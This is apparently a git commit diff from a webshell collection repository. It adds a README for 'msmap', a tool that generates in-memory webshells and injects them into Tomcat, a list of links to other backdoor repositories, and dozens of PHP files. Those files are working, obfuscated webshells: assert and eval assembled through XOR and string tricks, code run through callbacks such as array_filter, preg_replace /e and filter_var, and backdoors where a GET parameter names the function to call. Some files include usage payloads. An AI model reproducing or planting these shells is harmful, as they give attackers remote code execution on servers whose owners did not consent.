The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

1
malwares/WebShell Submodule

Submodule malwares/WebShell added at 2c064553f7

172
msmap/README.md Normal file
View File

@@ -0,0 +1,172 @@
# MSMAP
Msmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, *WebShell / Proxy / Killer* and Management Clients. [简体中文](README_CN.md)
[The idea behind I](https://hosch3n.github.io/2022/08/08/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%B8%80%EF%BC%89/), [The idea behind II](https://hosch3n.github.io/2022/08/09/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%BA%8C%EF%BC%89/)
![](https://raw.githubusercontent.com/hosch3n/msmap/main/img/a.png)
![](https://raw.githubusercontent.com/hosch3n/msmap/main/img/b.png)
![](https://raw.githubusercontent.com/hosch3n/msmap/main/img/c.png)
<details>
<summary>Feature [WIP]</summary>
### Function
- [x] Dynamic Menu
- [x] Automatic Compilation
- [x] Generate Script
- [ ] Lite Mode
- [ ] Graphical Interface
### Container
- Java
- [ ] Tomcat7
- [x] Tomcat8
- [x] Tomcat9
- [x] Tomcat10
- [ ] Resin3
- [x] Resin4
- [ ] WebSphere
- [ ] GlassFish
- [ ] WebLogic
- [ ] JBoss
- [ ] Spring
- [ ] Netty
- .NET
- [ ] IIS
### WebShell / Proxy / Killer
- WebShell
- [x] CMD / SH
- [x] AntSword
- [x] JSPJS
- [x] Behinder
- [x] Godzilla
- No need for modularity
~~Proxy: Neo-reGeorg, wsproxy~~
~~Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner~~
### Decoder / Decryptor / Hasher
- Decoder
- [x] Base64
- [ ] Hex
- Decryptor
- [x] RC4
- [x] AES128
- [x] AES256
- [ ] RSA
- Hasher
- [x] MD5
- [x] SHA128
- [x] SHA256
</details>
## Usage
``` bash
git clone git@github.com:hosch3n/msmap.git
cd msmap
python generator.py
```
> [Warning] MUST set a unique password, Options are case sensitive.
### Advanced
Edit `config/environment.py`
``` python
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
```
Edit `gist/java/container/tomcat/servlet.py`
``` java
// Servlet Path Pattern
private static String pattern = "*.xml";
```
WsFilter does not currently support automatic compilation. If an encryption encoder is used, the password needs to be the same as the path (eg `/passwd`)
## Example
<details>
<summary>CMD / SH</summary>
**Command** with **Base64** Encoder | Inject Tomcat Valve
`python generator.py Java Tomcat Valve Base64 CMD passwd`
</details>
<details>
<summary>AntSword</summary>
Type **JSP** with **default** Encoder | Inject Tomcat Valve
`python generator.py Java Tomcat Valve RAW AntSword passwd`
Type **JSP** with **[aes_128_ecb_pkcs7_padding_md5](extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js)** Encoder | Inject Tomcat Listener
`python generator.py Java Tomcat Listener AES128 AntSword passwd`
Type **JSP** with **[rc_4_sha256](extend/AntSword/encoder/rc_4_sha256.js)** Encoder | Inject Tomcat Servlet
`python generator.py Java Tomcat Servlet RC4 AntSword passwd`
Type **JSPJS** with **[aes_128_ecb_pkcs7_padding_md5](extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js)** Encoder | Inject Tomcat WsFilter
`python generator.py Java Tomcat WsFilter AES128 JSPJS passwd`
</details>
<details>
<summary>Behinder</summary>
Type **default_aes** | Inject Tomcat Valve
`python generator.py Java Tomcat Valve AES128 Behinder rebeyond`
</details>
<details>
<summary>Godzilla</summary>
Type **JAVA_AES_BASE64** | Inject Tomcat Valve
`python generator.py Java Tomcat Valve AES128 Godzilla superidol`
> [Known issue](https://github.com/BeichenDream/Godzilla/issues/76)
</details>
## Reference
[GodzillaMemoryShellProject](https://github.com/BeichenDream/GodzillaMemoryShellProject)
[AntSword-JSP-Template](https://github.com/AntSwordProject/AntSword-JSP-Template)
[As-Exploits memshell_manage](https://github.com/yzddmr6/As-Exploits/tree/master/core/memshell_manage)
[Behinder](https://github.com/rebeyond/Behinder) | [wsMemShell](https://github.com/veo/wsMemShell) | [ysomap](https://github.com/wh1t3p1g/ysomap)

BIN
msmap/msmap-main.zip Normal file

Binary file not shown.

1
oneoneplus/webshell Submodule

Submodule oneoneplus/webshell added at 6f030b91c1

View File

@@ -1,20 +0,0 @@
add other webshell collect repository
url : https://github.com/tdifg/WebShell
add public-shell repository
url : https://github.com/BDLeet/public-shell
add web-backdoors
url : https://github.com/all3g/fuzzdb/tree/master/web-backdoors
add web-shell
url : https://github.com/BlackArch/webshells
add webshellSample
url : https://github.com/tanjiti/webshellSample
add Ridter'Pentest backdoor tools
url : https://github.com/Ridter/Pentest/tree/master/backdoor
add xl7dev'WebShell
https://github.com/xl7dev/WebShell 小乐天 From: Knownsec

27
other shell repository.md Normal file
View File

@@ -0,0 +1,27 @@
add other webshell collect repository
url : [https://github.com/tdifg/WebShell](https://github.com/tdifg/WebShell)
add public-shell repository
url : [https://github.com/BDLeet/public-shell](https://github.com/BDLeet/public-shell)
add web-backdoors
url : [https://github.com/all3g/fuzzdb/tree/master/web-backdoors](https://github.com/all3g/fuzzdb/tree/master/web-backdoors)
add web-shell
url : [https://github.com/BlackArch/webshells](https://github.com/BlackArch/webshells
add webshellSample
url : [https://github.com/tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
add Ridter'Pentest backdoor tools
url : [https://github.com/Ridter/Pentest/tree/master/backdoor](https://github.com/Ridter/Pentest/tree/master/backdoor)
add xl7dev'WebShell
url : [https://github.com/xl7dev/WebShell](https://github.com/xl7dev/WebShell) 小乐天 From: Knownsec

1
php/2020-08-31-01.php Normal file
View File

@@ -0,0 +1 @@
<?php $a="~+d()"^"!{+{}";$b=${$a}["a"];eval("".$b);?>

4
php/2020.08.20.01.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
$a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>

4
php/2020.08.20.02.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
$a = strtr('azxcvt','zxcv','sser');
$a($_POST['x']);
?>

4
php/2020.08.20.03.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
$a = substr_replace("asxxx","sert",2);
$a($_POST['x']);
?>

4
php/2020.08.20.04.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
$a = trim(' assert ');
$a($_POST['x']);
?>

7
php/2020.08.20.05.php Normal file
View File

@@ -0,0 +1,7 @@
<?php
function sqlsec($a){
$a($_POST['x']);
}
sqlsec(assert);
?>

6
php/2020.08.20.06.php Normal file
View File

@@ -0,0 +1,6 @@
<?php
function sqlsec($a){
assert($a);
}
sqlsec($_POST['x']);
?>

3
php/2020.08.20.07.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
call_user_func('assert',$_POST['x']);
?>

3
php/2020.08.20.08.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
call_user_func_array(assert,array($_POST['x']));
?>

3
php/2020.08.20.09.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
array_filter(array($_POST['x']),'assert');
?>

5
php/2020.08.20.10.php Normal file
View File

@@ -0,0 +1,5 @@
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
?>

5
php/2020.08.20.11.php Normal file
View File

@@ -0,0 +1,5 @@
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
?>

9
php/2020.08.20.12.php Normal file
View File

@@ -0,0 +1,9 @@
<?php
function sqlsec($value,$key)
{
$x = $key.$value;
$x($_POST['x']);
}
$a=array("ass"=>"ert");
array_walk($a,"sqlsec");
?>

5
php/2020.08.20.13.php Normal file
View File

@@ -0,0 +1,5 @@
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>

28
php/2020.08.20.14.php Normal file
View File

@@ -0,0 +1,28 @@
<?php
mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>
<?php
preg_filter('|\d|e', $_REQUEST['x'], '2');
?>
use like:
```
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>
此时提交如下 payload 的话:
Php
shell.php?e=preg_replace
最后就相当于执行了如下语句:
Php
preg_replace('|.*|e',$_POST['x'],'')
这个时候只需要 POST x=phpinfo();
```

3
php/2020.08.20.15.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>

5
php/2020.08.20.16.php Normal file
View File

@@ -0,0 +1,5 @@
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>

62
php/2020.08.20.17.php Normal file
View File

@@ -0,0 +1,62 @@
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['x']);
?>
post: e=assert&x=phpinfo();
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
?>
post: e=assert&x=phpinfo();
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['x']);
uasort($arr, base64_decode($e));
?>
post: e=YXNzZXJ0&x=phpinfo();
<?php
$arr = new ArrayObject(array('test', $_REQUEST['x']));
$arr->uasort('assert');
?>
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['x'] => 2);
uksort($arr, $e);
?>
post: e=assert&x=phpinfo();
<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
$arr->uksort('assert');
?>
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['x']);
?>
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);
?>
<?php
filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>
<?php
filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

4
php/2020.08.20.18.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>

6
php/2020.08.20.19.php Normal file
View File

@@ -0,0 +1,6 @@
<?php
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>

4
php/2020.08.20.20.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);

1
php/2022-08-26-01.php Normal file
View File

@@ -0,0 +1 @@
<?=$_GET[p]==_&&$_GET[f]($_GET[a]);

1
php/2022-08-26-02.php Normal file
View File

@@ -0,0 +1 @@
<?=$_GET['p']=='_'&&$_GET['f']($_GET['a']);

1
php/2022-08-26-03.php Normal file
View File

@@ -0,0 +1 @@
<?php $_GET['p']=='_'&&$_GET['f']($_GET['a']);

1
php/2022-08-26-04.php Normal file
View File

@@ -0,0 +1 @@
<?php ($_GET['p']=='_'?$_GET['f']($_GET['a']):y);

2
php/2022-08-26-05.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
($_GET['p']=='password')?$_GET['f']($_GET['a']):y);

4
php/2022-08-26-06.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
if ($_GET['p']=='password'){
$_GET['f']($_GET['a']);
}

Some files were not shown because too many files have changed in this diff Show More